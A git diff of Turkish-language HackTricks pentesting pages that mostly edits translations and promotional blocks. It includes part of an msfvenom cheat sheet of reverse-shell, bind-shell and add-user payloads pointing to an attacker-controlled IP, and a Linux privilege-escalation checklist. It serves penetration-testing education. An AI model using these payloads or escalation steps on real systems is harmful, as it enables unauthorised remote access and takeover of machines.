{% endcode %}
|
||||
|
||||
### Kullanıcı Oluştur
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -77,6 +79,8 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
|||
```bash
|
||||
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Komut Çalıştır**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -100,7 +104,7 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
|
|||
|
||||
## Linux Yükleri
|
||||
|
||||
### Ters Shell
|
||||
### Ters Kabuk
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -109,7 +113,7 @@ msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Bind Shell
|
||||
### Bağlantı Kabuk
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -118,8 +122,6 @@ msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port)
|
|||
{% endcode %}
|
||||
|
||||
### SunOS (Solaris)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom --platform=solaris --payload=solaris/x86/shell_reverse_tcp LHOST=(ATTACKER IP) LPORT=(ATTACKER PORT) -f elf -e x86/shikata_ga_nai -b '\x00' > solshell.elf
|
||||
```
|
||||
|
@ -177,9 +179,9 @@ msfvenom -p java/jsp_shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f r
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### WAR
|
||||
### SAVAŞ
|
||||
|
||||
#### Ters Shell
|
||||
#### Ters Kabuk
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -199,6 +201,8 @@ msfvenom -p nodejs/shell_reverse_tcp LHOST=(IP Address) LPORT=(Your Port)
|
|||
```bash
|
||||
msfvenom -p cmd/unix/reverse_perl LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.pl
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Python**
|
||||
```bash
|
||||
msfvenom -p cmd/unix/reverse_python LHOST=(IP Address) LPORT=(Your Port) -f raw > reverse.py
|
||||
|
@ -209,7 +213,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -222,7 +226,7 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 'a katılın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -15,7 +15,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -28,14 +28,14 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy)'a katılın!
|
||||
**Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!**
|
||||
|
||||
### **Linux yerel yetki yükseltme vektörlerini aramak için en iyi araç:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
|
||||
|
||||
### [Sistem Bilgisi](privilege-escalation/#system-information)
|
||||
|
||||
* [ ] **OS bilgilerini** alın
|
||||
* [ ] [**PATH**](privilege-escalation/#path)'i kontrol edin, herhangi bir **yazılabilir klasör** var mı?
|
||||
* [ ] [**PATH**](privilege-escalation/#path) kontrol edin, herhangi bir **yazılabilir klasör** var mı?
|
||||
* [ ] [**env değişkenlerini**](privilege-escalation/#env-info) kontrol edin, herhangi bir hassas detay var mı?
|
||||
* [ ] [**kernel exploit'lerini**](privilege-escalation/#kernel-exploits) **script kullanarak** arayın (DirtyCow?)
|
||||
* [ ] [**sudo versiyonunun**](privilege-escalation/#sudo-version) **güvenli olup olmadığını** kontrol edin
|
||||
|
@ -57,7 +57,7 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
### [Süreçler](privilege-escalation/#processes)
|
||||
|
||||
* [ ] Herhangi bir **bilinmeyen yazılım çalışıyor mu**?
|
||||
* [ ] Herhangi bir yazılım **gerektiğinden daha fazla yetkiyle** mi çalışıyor?
|
||||
* [ ] Herhangi bir yazılım **olması gerektiğinden daha fazla yetkiyle** mi çalışıyor?
|
||||
* [ ] **Çalışan süreçlerin exploit'lerini** arayın (özellikle çalışan versiyonu).
|
||||
* [ ] Herhangi bir çalışan sürecin **ikili dosyasını** **değiştirebilir misiniz**?
|
||||
* [ ] **Süreçleri izleyin** ve ilginç bir sürecin sıkça çalışıp çalışmadığını kontrol edin.
|
||||
|
@ -65,7 +65,7 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
|
||||
### [Zamanlanmış/Cron görevleri?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] [**PATH**](privilege-escalation/#cron-path) bazı cron tarafından **değiştiriliyor mu** ve siz **yazabilir misiniz**?
|
||||
* [ ] [**PATH**](privilege-escalation/#cron-path) bazı cron tarafından değiştiriliyor mu ve siz **yazabilir misiniz**?
|
||||
* [ ] Bir cron görevinde herhangi bir [**wildcard**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) var mı?
|
||||
* [ ] **Değiştirilebilir bir script** (cron script'inin üzerine yazma ve symlink) **çalıştırılıyor mu** veya **değiştirilebilir klasör** içinde mi?
|
||||
* [ ] Bazı **script'lerin** [**çok sık**](privilege-escalation/#frequent-cron-jobs) **çalıştırıldığını** tespit ettiniz mi? (her 1, 2 veya 5 dakikada bir)
|
||||
|
@ -73,7 +73,7 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
### [Hizmetler](privilege-escalation/#services)
|
||||
|
||||
* [ ] Herhangi bir **yazılabilir .service** dosyası var mı?
|
||||
* [ ] Herhangi bir **hizmet tarafından yürütülen yazılabilir ikili** var mı?
|
||||
* [ ] Herhangi bir **yazılabilir ikili** dosya bir **hizmet** tarafından mı çalıştırılıyor?
|
||||
* [ ] **systemd PATH** içinde herhangi bir **yazılabilir klasör** var mı?
|
||||
|
||||
### [Zamanlayıcılar](privilege-escalation/#timers)
|
||||
|
@ -83,7 +83,7 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
### [Socket'ler](privilege-escalation/#sockets)
|
||||
|
||||
* [ ] Herhangi bir **yazılabilir .socket** dosyası var mı?
|
||||
* [ ] Herhangi bir **socket ile iletişim kurabilir misiniz**?
|
||||
* [ ] Herhangi bir socket ile **iletişim kurabilir misiniz**?
|
||||
* [ ] **İlginç bilgiler içeren HTTP socket'leri** var mı?
|
||||
|
||||
### [D-Bus](privilege-escalation/#d-bus)
|
||||
|
@ -92,44 +92,44 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
|
||||
### [Ağ](privilege-escalation/#network)
|
||||
|
||||
* [ ] Nerede olduğunuzu bilmek için ağı enumerate edin
|
||||
* [ ] **Makineye shell alana kadar erişemediğiniz açık portlar var mı?**
|
||||
* [ ] `tcpdump` kullanarak **trafik dinleyebilir misiniz**?
|
||||
* Ağda nerede olduğunuzu bilmek için enumerate edin
|
||||
* **Makineye shell alana kadar erişemediğiniz açık portlar var mı?**
|
||||
* `tcpdump` kullanarak **trafik dinleyebilir misiniz**?
|
||||
|
||||
### [Kullanıcılar](privilege-escalation/#users)
|
||||
|
||||
* [ ] Genel kullanıcılar/gruplar **enumerasyonu**
|
||||
* [ ] **Çok büyük bir UID**'ye sahip misiniz? **Makine** **güvenlik açığı** taşıyor mu?
|
||||
* [ ] **Ait olduğunuz bir grup sayesinde** [**yetki yükseltebilir misiniz**](privilege-escalation/interesting-groups-linux-pe/)?
|
||||
* [ ] **Pano** verileri?
|
||||
* [ ] Şifre Politikası?
|
||||
* [ ] Daha önce keşfettiğiniz her **bilinen şifreyi** kullanarak **her bir** olası **kullanıcıyla** giriş yapmayı deneyin. Şifresiz giriş yapmayı da deneyin.
|
||||
* Genel kullanıcılar/gruplar **enumeration**
|
||||
* **Çok büyük bir UID**'ye sahip misiniz? **Makine** **güvenlik açığı** mı?
|
||||
* **Ait olduğunuz bir grup sayesinde** [**yetki yükseltebilir misiniz**](privilege-escalation/interesting-groups-linux-pe/)?
|
||||
* **Pano** verileri?
|
||||
* Şifre Politikası?
|
||||
* Daha önce keşfettiğiniz her **bilinen şifreyi** kullanarak **her bir** olası **kullanıcıyla** giriş yapmayı deneyin. Şifre olmadan da giriş yapmayı deneyin.
|
||||
|
||||
### [Yazılabilir PATH](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
* [ ] Eğer **PATH'teki bazı klasörlerde yazma yetkiniz** varsa, yetki yükseltebilirsiniz
|
||||
* Eğer **PATH içindeki bir klasörde yazma yetkiniz** varsa, yetki yükseltebilirsiniz
|
||||
|
||||
### [SUDO ve SUID komutları](privilege-escalation/#sudo-and-suid)
|
||||
|
||||
* [ ] **Herhangi bir komutu sudo ile çalıştırabilir misiniz**? Root olarak herhangi bir şeyi OKUMAK, YAZMAK veya ÇALIŞTIRMAK için kullanabilir misiniz? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] Herhangi bir **istismar edilebilir SUID ikilisi** var mı? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] [**sudo** komutları **path** ile **sınırlı mı**? kısıtlamaları **aşabilir misiniz**](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] [**Path belirtilmeden Sudo/SUID ikilisi**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
* [ ] [**Komut yolu belirten SUID ikilisi**](privilege-escalation/#suid-binary-with-command-path)? Aşma
|
||||
* [ ] [**LD\_PRELOAD güvenlik açığı**](privilege-escalation/#ld\_preload)
|
||||
* [ ] Yazılabilir bir klasörden [**SUID ikilisinde .so kütüphanesinin eksikliği**](privilege-escalation/#suid-binary-so-injection)?
|
||||
* [ ] [**SUDO jetonları mevcut**](privilege-escalation/#reusing-sudo-tokens)? [**Bir SUDO jetonu oluşturabilir misiniz**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] [**sudoers dosyalarını okuyabilir veya değiştirebilir misiniz**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] [**/etc/ld.so.conf.d/**'yi değiştirebilir misiniz](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) komutu
|
||||
* **Herhangi bir komutu sudo ile çalıştırabilir misiniz**? Root olarak herhangi bir şeyi OKUMAK, YAZMAK veya ÇALIŞTIRMAK için kullanabilir misiniz? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* Herhangi bir **istismar edilebilir SUID ikili** var mı? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [**sudo** komutları **path** ile **sınırlı mı**? Kısıtlamaları **aşabilir misiniz**](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [**Path belirtilmeden Sudo/SUID ikilisi**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
* [**Komut yolu belirten SUID ikilisi**](privilege-escalation/#suid-binary-with-command-path)? Aşma
|
||||
* [**LD\_PRELOAD güvenlik açığı**](privilege-escalation/#ld\_preload)
|
||||
* Yazılabilir bir klasörden [**SUID ikilisinde .so kütüphanesi eksikliği**](privilege-escalation/#suid-binary-so-injection)?
|
||||
* [**SUDO token'ları mevcut**](privilege-escalation/#reusing-sudo-tokens)? [**Bir SUDO token'ı oluşturabilir misiniz**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [**sudoers dosyalarını okuyabilir veya değiştirebilir misiniz**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [**/etc/ld.so.conf.d/**'yi değiştirebilir misiniz](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [**OpenBSD DOAS**](privilege-escalation/#doas) komutu
|
||||
|
||||
### [Yetenekler](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] Herhangi bir ikilinin herhangi bir **beklenmedik yeteneği** var mı?
|
||||
* Herhangi bir ikilinin herhangi bir **beklenmedik yeteneği** var mı?
|
||||
|
||||
### [ACL'ler](privilege-escalation/#acls)
|
||||
|
||||
* [ ] Herhangi bir dosyanın herhangi bir **beklenmedik ACL'si** var mı?
|
||||
* Herhangi bir dosyanın herhangi bir **beklenmedik ACL'si** var mı?
|
||||
|
||||
### [Açık Shell oturumları](privilege-escalation/#open-shell-sessions)
|
||||
|
||||
|
@ -146,11 +146,11 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
* [ ] **Profil dosyaları** - Hassas verileri okuyun? Privesc için yazın?
|
||||
* [ ] **passwd/shadow dosyaları** - Hassas verileri okuyun? Privesc için yazın?
|
||||
* [ ] Hassas veriler için **yaygın ilginç klasörleri** kontrol edin
|
||||
* [ ] **Garip Konum/Sahip dosyalar,** erişiminiz olabileceği veya yürütülebilir dosyaları değiştirebileceğiniz dosyalar
|
||||
* [ ] **Son dakikalarda** **değiştirilen**
|
||||
* [ ] **Garip Konum/Sahip dosyalar,** erişiminiz olabileceği veya çalıştırılabilir dosyaları değiştirebileceğiniz dosyalar
|
||||
* [ ] Son dakikalarda **değiştirilen**
|
||||
* [ ] **Sqlite DB dosyaları**
|
||||
* [ ] **Gizli dosyalar**
|
||||
* [ ] **PATH'teki Script/İkili dosyalar**
|
||||
* [ ] **PATH içindeki Script/Binary'ler**
|
||||
* [ ] **Web dosyaları** (şifreler?)
|
||||
* [ ] **Yedekler**?
|
||||
* [ ] **Şifreleri içeren bilinen dosyalar**: **Linpeas** ve **LaZagne** kullanın
|
||||
|
@ -158,17 +158,17 @@ Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi
|
|||
|
||||
### [**Yazılabilir Dosyalar**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] **Arbitrary komutları çalıştırmak için python kütüphanesini** değiştirebilir misiniz?
|
||||
* [ ] **Log dosyalarını değiştirebilir misiniz**? **Logtotten** exploit
|
||||
* [ ] **/etc/sysconfig/network-scripts/**'i değiştirebilir misiniz? Centos/Redhat exploit
|
||||
* [ ] [**ini, int.d, systemd veya rc.d dosyalarına yazabilir misiniz**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
* **Rasgele komutlar çalıştırmak için python kütüphanesini** değiştirebilir misiniz?
|
||||
* **Log dosyalarını değiştirebilir misiniz**? **Logtotten** exploit
|
||||
* **/etc/sysconfig/network-scripts/**'i değiştirebilir misiniz? Centos/Redhat exploit
|
||||
* [**ini, int.d, systemd veya rc.d dosyalarına yazabilir misiniz**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
|
||||
|
||||
### [**Diğer ipuçları**](privilege-escalation/#other-tricks)
|
||||
|
||||
* [ ] [**NFS'i yetki yükseltmek için kötüye kullanabilir misiniz**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] [**Kısıtlayıcı bir shell'den kaçmak**](privilege-escalation/#escaping-from-restricted-shells) için mi ihtiyacınız var?
|
||||
* [**NFS'i kötüye kullanarak yetki yükseltebilir misiniz**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [**Kısıtlayıcı bir shell'den kaçmak**](privilege-escalation/#escaping-from-restricted-shells) için mi ihtiyacınız var?
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -181,4 +181,19 @@ Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün en iyi hackerlarla işbirliği yapmak için** [**Discord**](https://discord.com/invite/N3FrSbmwdy)'a katılın!
|
||||
**Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!**
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -9,13 +9,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -28,7 +28,7 @@ Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerl
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!**
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## Temel MacOS
|
||||
|
||||
|
@ -52,7 +52,7 @@ Eğer macOS ile tanışık değilseniz, macOS'un temellerini öğrenmeye başlam
|
|||
[macos-applefs.md](macos-applefs.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **kernel**'in **mimari**si
|
||||
* **kernel** mimarisi
|
||||
|
||||
{% content-ref url="mac-os-architecture/" %}
|
||||
[mac-os-architecture](mac-os-architecture/)
|
||||
|
@ -65,7 +65,7 @@ Eğer macOS ile tanışık değilseniz, macOS'un temellerini öğrenmeye başlam
|
|||
{% endcontent-ref %}
|
||||
|
||||
* **Açık kaynak** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
|
||||
* `tar.gz` indirmek için bir URL'yi [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) şeklinde değiştirin
|
||||
* `tar.gz` indirmek için bir URL'yi [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) gibi [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) olarak değiştirin
|
||||
|
||||
### MacOS MDM
|
||||
|
||||
|
@ -94,10 +94,10 @@ Eğer macOS ile tanışık değilseniz, macOS'un temellerini öğrenmeye başlam
|
|||
Eğer bir **root olarak çalışan bir süreç** bir dosya yazıyorsa ve bu dosya bir kullanıcı tarafından kontrol edilebiliyorsa, kullanıcı bunu **yetkileri yükseltmek için** kötüye kullanabilir.\
|
||||
Bu aşağıdaki durumlarda gerçekleşebilir:
|
||||
|
||||
* Kullanılan dosya zaten bir kullanıcı tarafından oluşturulmuş (kullanıcıya ait)
|
||||
* Kullanılan dosya, bir grup nedeniyle kullanıcı tarafından yazılabilir
|
||||
* Kullanılan dosya, kullanıcıya ait bir dizin içindedir (kullanıcı dosyayı oluşturabilir)
|
||||
* Kullanılan dosya, root'a ait bir dizin içindedir ancak kullanıcı, bir grup nedeniyle üzerinde yazma erişimine sahiptir (kullanıcı dosyayı oluşturabilir)
|
||||
* Kullanıcı tarafından zaten oluşturulmuş bir dosya kullanıldı (kullanıcıya ait)
|
||||
* Kullanıcı tarafından bir grup nedeniyle yazılabilir bir dosya kullanıldı
|
||||
* Kullanıcı tarafından oluşturulabilecek bir dosya, kullanıcının sahibi olduğu bir dizin içinde
|
||||
* Kullanıcı tarafından oluşturulabilecek bir dosya, root'un sahibi olduğu bir dizin içinde ancak kullanıcı bir grup nedeniyle buna yazma erişimine sahip
|
||||
|
||||
**root** tarafından **kullanılacak bir dosya** oluşturabilmek, bir kullanıcının **içeriğinden faydalanmasına** veya hatta başka bir yere işaret etmek için **sembolik/sert bağlantılar** oluşturmasına olanak tanır.
|
||||
|
||||
|
@ -119,15 +119,15 @@ Dosya uzantılarıyla kaydedilen garip uygulamalar kötüye kullanılabilir ve f
|
|||
|
||||
macOS'ta **uygulamalar ve ikili dosyalar**, diğerlerinden daha ayrıcalıklı olmalarını sağlayan klasörlere veya ayarlara erişim iznine sahip olabilir.
|
||||
|
||||
Bu nedenle, bir macOS makinesini başarılı bir şekilde ele geçirmek isteyen bir saldırgan, **TCC ayrıcalıklarını yükseltmek** (veya ihtiyaçlarına bağlı olarak **SIP'yi atlamak**) zorundadır.
|
||||
Bu nedenle, bir macOS makinesini başarılı bir şekilde tehlikeye atmak isteyen bir saldırgan, **TCC ayrıcalıklarını yükseltmek** (veya ihtiyaçlarına bağlı olarak **SIP'yi atlamak**) zorundadır.
|
||||
|
||||
Bu ayrıcalıklar genellikle uygulamanın imzalandığı **yetkilendirmeler** şeklinde verilir veya uygulama bazı erişimler talep edebilir ve **kullanıcı onayladıktan** sonra **TCC veritabanlarında** bulunabilir. Bir sürecin bu ayrıcalıkları elde etmenin bir diğer yolu, bu **ayrıcalıklara** sahip bir sürecin **çocuğu** olmaktır, çünkü genellikle **miras alınırlar**.
|
||||
|
||||
Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl atlandığı**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Farklı yolları bulmak için bu bağlantılara göz atın [**TCC'de yetki yükseltme**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC'yi atlamak**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) ve geçmişte [**SIP'nin nasıl aşıldığı**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## macOS Geleneksel Yetki Yükseltme
|
||||
|
||||
Elbette, bir kırmızı ekip perspektifinden root'a yükseltme ile de ilgilenmelisiniz. Bazı ipuçları için aşağıdaki gönderiyi kontrol edin:
|
||||
Elbette bir kırmızı ekip perspektifinden root'a yükseltme ile de ilgilenmelisiniz. Bazı ipuçları için aşağıdaki gönderiyi kontrol edin:
|
||||
|
||||
{% content-ref url="macos-privilege-escalation.md" %}
|
||||
[macos-privilege-escalation.md](macos-privilege-escalation.md)
|
||||
|
@ -145,7 +145,7 @@ Elbette, bir kırmızı ekip perspektifinden root'a yükseltme ile de ilgilenmel
|
|||
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
|
@ -158,7 +158,7 @@ Hızla değişen hacking dünyasında gerçek zamanlı haberler ve içgörülerl
|
|||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve kritik platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!**
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -169,7 +169,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# Android Uygulamaları Pentesting
|
||||
|
